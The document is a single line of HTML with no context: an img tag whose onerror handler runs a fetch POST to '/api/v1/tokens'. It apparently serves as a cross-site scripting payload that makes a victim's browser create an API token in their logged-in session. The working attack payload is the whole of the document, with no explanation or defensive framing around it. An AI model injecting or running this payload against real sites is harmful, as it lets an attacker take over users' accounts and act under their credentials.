<img src=x onerror=fetch("/api/v1/tokens",{method:"POST",headers:{"Content-Type":"application/json"},body:`{"name":"x"}`})>